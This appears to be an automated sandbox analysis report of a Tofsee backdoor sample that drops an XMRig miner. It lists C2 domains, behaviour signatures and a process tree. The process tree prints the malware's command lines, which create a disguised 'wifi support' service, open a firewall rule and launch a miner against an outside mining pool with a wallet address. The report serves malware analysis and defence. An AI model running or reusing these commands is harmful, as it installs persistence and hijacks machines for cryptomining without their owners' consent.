Analysis

  • max time kernel
    154s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2022, 01:16

General

  • Target
    file.exe
  • Size 173KB
  • Sample221113-bmsstsdb7y
  • SHA256 91749ff35be5f337208dc44a1c0e8d4592aa06a5d2ae452af8efc7b72e0ed2e6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mhnzcukg\
      2⤵
        PID:1044
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dauvsaqx.exe" C:\Windows\SysWOW64\mhnzcukg\
        2⤵
          PID:3088
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mhnzcukg binPath= "C:\Windows\SysWOW64\mhnzcukg\dauvsaqx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mhnzcukg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mhnzcukg
          2⤵
          • Launches sc.exe
          PID:5036
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 1036
          2⤵
          • Program crash
          PID:3124
      • C:\Windows\SysWOW64\mhnzcukg\dauvsaqx.exe
        C:\Windows\SysWOW64\mhnzcukg\dauvsaqx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3368
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:100
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2172
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 528
          2⤵
          • Program crash
          PID:1616
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1192 -ip 1192
        1⤵
          PID:4044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3368 -ip 3368
          1⤵
            PID:3412

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                dauvsaqx.exe

                • Path C:\Users\Admin\AppData\Local\Temp\dauvsaqx.exe
                • Size 10.9MB
                • SHA256 540645d809e547ada970e03b3688517307f72afa0d5724e7c72a05c085ffbfe2
                • MD5 SHA1 SHA512 SSDEEP

                dauvsaqx.exe

                • Path C:\Windows\SysWOW64\mhnzcukg\dauvsaqx.exe
                • Size 10.9MB
                • SHA256 540645d809e547ada970e03b3688517307f72afa0d5724e7c72a05c085ffbfe2
                • MD5 SHA1 SHA512 SSDEEP

                memory/100-159-0x0000000000FE0000-0x0000000000FF0000-memory.dmp

                memory/100-165-0x0000000007940000-0x0000000007D4B000-memory.dmp

                memory/100-162-0x0000000000FF0000-0x0000000000FF5000-memory.dmp

                memory/100-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/100-152-0x0000000000B70000-0x0000000000B85000-memory.dmp

                memory/100-151-0x0000000000B70000-0x0000000000B85000-memory.dmp

                memory/100-146-0x0000000000B70000-0x0000000000B85000-memory.dmp

                memory/100-156-0x0000000000FD0000-0x0000000000FD6000-memory.dmp

                memory/100-168-0x00000000021E0000-0x00000000021E7000-memory.dmp

                memory/1192-133-0x00000000022D0000-0x00000000022E3000-memory.dmp

                memory/1192-143-0x00000000005B9000-0x00000000005C9000-memory.dmp

                memory/1192-144-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/1192-132-0x00000000005B9000-0x00000000005C9000-memory.dmp

                memory/1192-134-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2172-177-0x0000000000E40000-0x0000000000F31000-memory.dmp

                memory/2172-172-0x0000000000E40000-0x0000000000F31000-memory.dmp

                memory/3368-150-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/3368-149-0x00000000006E3000-0x00000000006F3000-memory.dmp